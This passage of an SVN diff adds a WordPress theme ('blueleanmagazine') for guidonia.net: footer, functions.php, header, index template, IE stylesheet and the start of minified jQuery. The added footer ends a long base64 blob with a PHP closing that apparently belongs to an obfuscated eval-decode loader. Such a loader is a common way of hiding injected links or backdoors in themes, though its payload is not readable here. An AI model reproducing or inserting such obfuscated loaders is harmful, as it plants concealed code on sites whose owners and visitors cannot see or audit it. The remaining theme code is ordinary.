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')))); ?>
+
+</div>
+<!-- END footer -->
+
+</body>
+
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/functions.php	(revision 44)
@@ -0,0 +1,126 @@
+<?php
+
+include("settings.php");
+
+# WIDGET: Sidebar
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+		'name' => 'Top Sidebar',
+        'before_title' => '<h2>',
+        'after_title' => '</h2>',
+		'before_widget' => '<div class="box">',
+        'after_widget' => '</div>',
+    ));
+
+# WIDGET: Content Bottom
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+		'name' => 'Content Bottom',
+        'before_title' => '<h2>',
+        'after_title' => '</h2>',
+		'before_widget' => '<div class="box">',
+        'after_widget' => '</div>',
+    ));
+
+# Displays a list of pages
+function dp_list_pages() {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
+	$pageposts = $wpdb->get_results($querystr, OBJECT);
+	if ($pageposts) {
+		foreach ($pageposts as $post) {
+			?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php 
+		}
+	}
+}
+
+# Displays a list of categories
+function dp_list_categories($num=0, $exclude='') {
+	if (strlen($exclude)>0) $exclude = '&exclude=' . $exclude;
+	$categories = get_categories('hide_empty=1'.$exclude);
+	$first = true; $count = 0;
+	foreach ($categories as $category) {
+		if ($num>0) { $count++; if ($count>$num) break; } // limit
+		if ($category->parent<1) {
+			if ($first) { $first = false; $f = ' class="f"'; } else { $f = ''; }
+			?><li<?php echo $f; ?>>
+			<a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->name ?><?php echo $raquo; ?></a></li>
+			<?php
+		}
+	}
+}
+
+# Displays a list of popular posts
+function dp_popular_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
+	$myposts = $wpdb->get_results($querystr, OBJECT);
+	foreach($myposts as $post) {
+		echo $pre;
+		?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
+		if ($excerpt) {
+			dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
+			?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
+		}
+		echo $suf;
+	}
+}
+
+# Displays a list of recent categories
+function dp_recent_comments($num, $pre='<li>', $suf='</li>') {
+	global $wpdb, $post;
+	$querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author, $wpdb->comments.comment_content, $wpdb->comments.comment_author_email FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
+	$recentcomments = $wpdb->get_results($querystr, OBJECT);
+	foreach ($recentcomments as $rc) {
+		$post = get_post($rc->comment_post_ID);
+		echo $pre;
+		?><strong><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo $rc->comment_author ?></a></strong> on <a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo $post->post_title; ?></a><?php
+		echo $suf;
+	}
+}
+
+
+# Displays post image attachment (sizes: thumbnail, medium, full)
+function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
+	if ($postid<1) $postid = get_the_ID();
+	if ($images = get_children(array(
+		'post_parent' => $postid,
+		'post_type' => 'attachment',
+		'numberposts' => 1,
+		'post_mime_type' => 'image',)))
+		foreach($images as $image) {
+			$attachment=wp_get_attachment_image_src($image->ID, $size);
+			?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> /><?php
+		}
+}
+
+# Removes tags and trailing dots from excerpt
+function dp_clean($excerpt, $substr=0) {
+	$string = strip_tags(str_replace('[...]', '...', $excerpt));
+	if ($substr>0) {
+		$string = substr($string, 0, $substr);
+	}
+	return $string;
+}
+
+# Displays the comment authors gravatar if available
+function dp_gravatar($size=50, $attributes='', $author_email='') {
+	global $comment, $settings;
+	if (dp_settings('gravatar')=='enabled') {
+		if (empty($author_email)) {
+			ob_start();
+			comment_author_email();
+			$author_email = ob_get_clean();
+		}
+		$gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower($author_email)) . '?s=' . $size . '&amp;d=' . dp_settings('gravatar_fallback');
+		?><img src="<?php echo $gravatar_url; ?>" <?php echo $attributes ?>/><?php
+	}
+}
+
+# Retrieves the setting's value depending on 'key'.
+function dp_settings($key) {
+	global $settings;
+	return $settings[$key];
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/header.php	(revision 44)
@@ -0,0 +1,49 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
+
+<!-- BEGIN html head -->
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+<title><?php bloginfo('name'); ?> <?php wp_title(); ?></title>
+<link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url'); ?>" />
+<!--[if lte IE 6]>
+<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url'); ?>/ie.css" />
+<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/unitpngfix.js"></script>
+<![endif]-->
+<?php if (function_exists('wp_enqueue_script') && function_exists('is_singular')) : ?>
+<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
+<?php endif; ?>
+<?php wp_head(); ?>
+<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/jquery-1.3.2.min.js"></script>
+<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/scripts.js"></script>
+<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/video.js"></script>
+</head>
+<!-- END html head -->
+
+<body>
+
+<!-- BEGIN wrapper -->
+<div id="wrapper">
+
+	<!-- BEGIN header -->
+	<div id="header">
+	
+		<ul class="pages">
+		<li><a href="<?php echo get_option('home'); ?>">Home</a></li>
+		<?php dp_list_pages(); ?>
+		</ul>
+		
+		<p class="links"><a href="#">Email</a> | <a href="<?php bloginfo('rss2_url'); ?>">Posts</a> | <a href="<?php bloginfo('comments_rss2_url'); ?>">Comments</a></p>
+		
+		<h1><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a></h1>
+		
+		<div class="ad"><a href="#"><img src="<?php bloginfo('template_url'); ?>/images/ad468x60.jpg" alt="Advertisment" /></a></div>
+		
+		<ul class="categories">
+		<?php dp_list_categories(); ?>
+		</ul>
+	
+	</div>
+	<!-- END header -->
+	
+	<div id="body">
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/ie.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/ie.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/ie.css	(revision 44)
@@ -0,0 +1,1 @@
+#content .featured .text li { height: 260px; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/index.php	(revision 44)
@@ -0,0 +1,88 @@
+<?php get_header(); ?>
+	
+	<!-- BEGIN content -->
+	<div id="content"><div class="head"><div class="foot">
+	
+		<?php 
+		$tmp_query = $wp_query;
+		query_posts('cat=' . get_cat_ID(dp_settings('featured')));
+		if (have_posts()) :
+		$first = true;
+		while (have_posts()) : the_post();
+		ob_start();
+		?>
+		<li<?php if ($first) echo ' class="first"'; ?>><a href="<?php the_permalink(); ?>"><?php dp_attachment_image($post->ID, 'full', 'alt="' . $post->post_title . '"'); ?></a></li>
+		<?php
+		$photos .= ob_get_clean();
+		ob_start();
+		?>
+		<li<?php if ($first) echo ' class="first"'; ?>>
+			<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+			<p><?php echo dp_clean($post->post_content, 300); ?></p>
+			<a href="<?php the_permalink(); ?>" class="readmore">Read Full Story</a>
+		</li>
+		<?php
+		$text .= ob_get_clean();
+		$first = false;
+		endwhile;
+		endif;
+		?>
+	
+		<!-- begin featured -->
+		<div class="featured">
+		<h2 class="title">Featured Posts</h2>
+		<div class="thumb"><div class="b">
+			<ul class="photo">
+			<?php echo $photos; ?>
+			</ul>
+			<ul class="text">
+			<?php echo $text; ?>
+			</ul>
+		</div></div>
+		</div>
+		<!-- end featured -->
+		
+		<?php
+		$wp_query = $tmp_query;
+		if (have_posts()) :
+		while (have_posts()) : the_post();
+		$arc_year = get_the_time('Y');
+		$arc_month = get_the_time('m');
+		$arc_day = get_the_time('d');
+		?>
+		
+		<!-- begin post -->
+		<div class="post">
+		<div class="l">
+			<a href="<?php the_permalink(); ?>"><?php dp_attachment_image($post->ID, 'thumbnail', 'alt="' . $post->post_title . '"'); ?></a>
+		</div>
+		<div class="r">
+			<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+			<p><?php echo dp_clean($post->post_content, 300); ?></p>
+			<p class="details"><a href="<?php echo get_day_link("$arc_year", "$arc_month", "$arc_day"); ?>"><?php the_time('m.j.Y') ?></a> | <?php the_category(', ') ?> | <?php the_author_posts_link(); ?></p>
+			<p class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
+		</div>
+		</div>
+		<!-- end post -->
+		
+		<?php endwhile; else : ?>
+		<div class="notfound">
+		<h2>Not Found</h2>
+		<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+	
+		<?php include("bottom.php"); ?>
+		
+		<!-- begin post navigation -->
+		<div class="postnav">
+		<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
+		</div>
+		<!-- end post navigation -->
+		
+		<div class="break"></div>
+	
+	</div></div></div>
+	<!-- END content -->
+	
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/jquery-1.3.2.min.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/jquery-1.3.2.min.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/blueleanmagazine/js/jquery-1.3.2.min.js	(revision 44)
@@ -0,0 +1,19 @@
+/*
+ * jQuery JavaScript Library v1.3.2
+ * http://jquery.com/
+ *
+ * Copyright (c) 2009 John Resig
+ * Dual licensed under the MIT and GPL licenses.
+ * http://docs.jquery.com/License
+ *
+ * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
+ * Revision: 6246
+ */
+(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return 